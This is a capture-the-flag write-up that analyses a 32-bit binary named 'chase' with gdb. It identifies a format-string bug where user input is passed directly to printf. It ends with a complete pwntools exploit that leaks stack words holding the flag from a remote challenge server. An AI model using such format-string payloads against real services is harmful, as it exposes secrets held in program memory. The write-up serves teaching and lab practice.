# chase

This is an interesting binary. It has no canary, no PIE, but has a secure call to `fgets()` meaning we still can't truly stack smash. What can we do?

### First Observations

The first thing we notice is that when we try to run the program, it does nothing. We'll notice later that this is because the binary ensures that there is a file called *flag.txt* sitting in the same directory, otherwise it will stop execution. We can create a dummy file to get around this. I use the same flag every time:

```
echo flag{temporary_flag} > flag.txt
```

This loads in `flag{temporary_flag}` into the flag file. I use this (1) because it's sufficiently long and looks like a flag I might see, and (2) because it has the flag braces so I can easily find it in memory.

With that out of the way, we can now run the binary. It asks for some input and prints it back to us. Let's dive deeper and check for vulnerable code.

### Static Analysis

We can use `checksec` to see what protections are enabled on the binary:

```
$ checksec chase
[*] '/home/joybuzzer/Documents/vunrotc/public/03-formats/chase/src/chase'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

As expected, there's nothing super shocking here. No canary, PIE disabled, NX enabled. Shellcode is off the table, but buffer overflows aren't yet.

Checking `gdb`, we make the following observations:

- The only function that seems to be made by the user is `main()`.
- `main()` calls a number of interesting functions. The most important of these are `fopen()`, `fgets()`, `puts()`, and `printf()`.
- There is a call to `exit()`, but we can assume based on earlier findings that this is because the binary is checking for the existence of the flag file.

Let's try and break this code and reassemble what the C code might look like.

### Reassembling the Disassembly

Our first major call is to `fopen()`. Based on the `man` pages, we know that `fopen()` takes two arguments:

1. The path name of the file to open
2. The mode to open the file (typically read/write, bytes/chars, etc.)

Using `gdb`, we can check the arguments:

```
(gdb) disas *(main+49)
(gdb) r
```

`gef` will predict the arguments for us:

```
fopen@plt (
   [sp + 0x0] = 0x0804a00a → "flag.txt",
   [sp + 0x4] = 0x0804a008 → 0x6c660072 ("r"?),
   [sp + 0x8] = 0xffffd574 → 0xffffffff,
   [sp + 0xc] = 0x080491e0 → <main+26> add ebx, 0x2e20
)
```

If we didn't have `gef`, we could check the stack:

```
gef➤  x/2wx $esp
0xffffd4f0: 0x0804a00a  0x0804a008
gef➤  x/s 0x0804a00a
0x804a00a:  "flag.txt"
gef➤  x/s 0x0804a008
0x804a008:  "r"
```

`fopen()` returns a `FILE*`, which is eventually stored on the stack at `ebp-0xc`. There's a check after to make sure that's value is not `NULL`, but we can ignore that for now.

The next call is to `fgets()`. We can check the arguments in the same way:

```
fgets@plt (
   [sp + 0x0] = 0xffffd568 → 0xf7ffda40 → 0x00000000,
   [sp + 0x4] = 0x00000064,
   [sp + 0x8] = 0x0804d1a0 → 0xfbad2488
)
```

This isn't super helpful to us. We know that `fgets()` takes three arguments:

1. The buffer to read into (in this case, `0xf7ffda40`)
2. The number of bytes to read (in this case, `0x64` or 100 bytes)
3. The file to read from (in this case, `0x0804d1a0`)

The first and third ones don't really make much sense until we check the assembly.

```
   0x08049215 <+79>:    push   DWORD PTR [ebp-0xc]
   0x08049218 <+82>:    push   0x64
   0x0804921a <+84>:    lea    eax,[ebp-0x70]
   0x0804921d <+87>:    push   eax
=> 0x0804921e <+88>:    call   0x8049060 <fgets@plt>
```

The first parameter is the address of `ebp-0x70`, which is where we are writing. The second argument is clearly `0x64`. The third argument is the value at `ebp-0xc`, which is the `FILE*` from `fopen()`.

> *What does this mean?* This tells us that we're reading 100 bytes from the file into the buffer at `ebp-0x70`.

None of the `puts()` calls are really important to us, so we're going to skip those. Then we reach `fgets()`.

```
   0x08049266 <+160>:   mov    eax,DWORD PTR [ebx-0x4]
   0x0804926c <+166>:   mov    eax,DWORD PTR [eax]
   0x0804926e <+168>:   sub    esp,0x4
   0x08049271 <+171>:   push   eax
   0x08049272 <+172>:   push   0x64
   0x08049274 <+174>:   lea    eax,[ebp-0xd4]
   0x0804927a <+180>:   push   eax
   0x0804927b <+181>:   call   0x8049060 <fgets@plt>
```

The first argument is the address of `ebp-0xd4`, which is where we are writing. The second argument is clearly `0x64`. The third argument is the value at `ebx-0x4`.

```
gef➤  x/3wx $esp
0xffffd4f0: 0xffffd504  0x00000064  0xf7e2a620
gef➤  x/wx 0xf7e2a620
0xf7e2a620 <_IO_2_1_stdin_>:    0xfbad2088
```

We see that the third argumment is `stdin`, which makes sense because we've been looking for a function which takes keyboard input.

Last, we see that there is a call to `printf()`. We can check the arguments in the same way:

```
0x08049286 <+192>:  lea    eax,[ebp-0xd4]
0x0804928c <+198>:  push   eax
0x0804928d <+199>:  call   0x8049050 <printf@plt>
```

We see that the string that we read from is being passed to `printf`. This is the format string bug, because the string is being directly passed into `printf`.

Based on all this information, we can reassemble the C code (at least the important parts):

```
int main(void)
{
    char flag[100];
    char input[100];
    FILE *fp = fopen("flag.txt", "r");
    fgets(flag, 100, fp);
    fgets(input, 100, stdin);
    printf(input);
}
```

## Exploitation

We know that the flag is being loaded on the stack. It's our job to use the format string bug to find where it is. **Without `gdb`, this would be a very annoying challenge**.

> *Why?* You can answer this question by running it. After a certain number of format strings, you'll start to print your own input from the buffer. This makes it hard to decipher what's going on.

We can use `gdb` to find the flag. If we put the instruction pointer right before the `fgets()` call that takes from `stdin`, we can see what's on the stack when we would enter the format strings.

```
gef➤  x/40wx $esp
0xffffd4f0: 0xffffd504  0x00000064  0xf7e2a620  0x080491e0
0xffffd500: 0xf7c184be  0xf7fd0294  0xf7c05674  0xffffd57c
0xffffd510: 0xf7ffdba0  0x00000002  0xf7fbeb20  0x00000001
0xffffd520: 0x00000000  0x00000001  0xf7fbe4a0  0x00000001
0xffffd530: 0x00c00000  0xf7ffdc0c  0xffffd5b4  0x00000000
0xffffd540: 0xf7ffd000  0x00000020  0x00000000  0xffffd5bc
0xffffd550: 0xf7ffdba0  0x00000001  0xf7fbe7b0  0x00000001
0xffffd560: 0x00000000  0x00000001  0x67616c66  0x6d65747b
0xffffd570: 0x61726f70  0x665f7972  0x7d67616c  0xf7fc000a
0xffffd580: 0xf7ffd608  0x00000020  0x00000000  0xffffd780
```

Here's why we use `flag{temporary_flag}` as the contents of *flag.txt*. `flag` in hex is `0x67616c66`. We see that starts at `0xffffd568`, which we can verify:

```
gef➤  x/s 0xffffd568
0xffffd568: "flag{temporary_flag}\n"
```

We count that this starts at the 30th word on the stack. We can verify this using the format specifier in our input:

```
$ ./chase
Hi, what is your name?
%30$x
67616c66
```

We count that the flag is from words `30` to `36`.

### Python Processing

Rather than doing this manually, we want to process the data such that we can easily print out the flag. Let's see what this looks like.

The first thing we want to do is build the payload. Rather than typing it manually, we can use format strings to build it for us.

```
payload = b''
for idx in range(30, 37):
    payload += f'%{idx}$x '.encode()
```

This code cycles from `idx=30` to `idx=36` (because `range` doesn't include the last number). It then uses a format string to put the index in the right place (e.g. `%30$x`). Because format strings aren't supported in byte strings, we have to use `.encode()` to convert the string to bytes. Then, we append it to our payload.

Next, we send off the payload and receive the data:

```
p.sendline(payload)
data = p.recvline().strip()
```

Now we need to process the data. Let's do this one step at a time

- We know the data is in word-sized chunks, delimited by spaces.

  ```
  data_arr = data.split(b' ')
  ```

- The chunks represent four bytes, meaning that for each two-character chunk, we need to convert this to a byte.

  ```
  data_bytes = [binascii.unhexlify(i) for i in data_arr]
  ```

- Each chunk is in little endian, meaning once we have the bytes, we need to reverse them.

```
data_rev = [i[::-1].decode() for i in data_bytes]
print(''.join(data_rev))
```

This will print our flag! We can actually do this entire process in one big step:

```
for item in res.split(b' '):
    print(binascii.unhexlify(item)[::-1].decode(), end='')
```

Let's think about it:

- For each item in the split data (i.e. `data_arr`), it's using `binascii.unhexlify` to convert the data from hex to a byte string.
- From there, we are reversing the data (i.e. `[::-1]`) and converting it to a string (i.e. `.decode()`).
- Finally, we are printing the data without a newline (i.e. `end=''`). This way, we don't even have to store the data and then worry about using `''.join()`.

Here is the full exploit:

```
from pwn import *
import binascii

elf = context.binary = ELF('./chase')
p = remote('vunrotc.cole-ellis.com', 3300)

payload = b''
for i in range(30, 37):
    payload += f'%{i}$x '.encode()

p.clean()
p.sendline(payload)

res = p.recvline().strip()

for item in res.split(b' '):
    print(binascii.unhexlify(item)[::-1].decode(), end='')
print()
```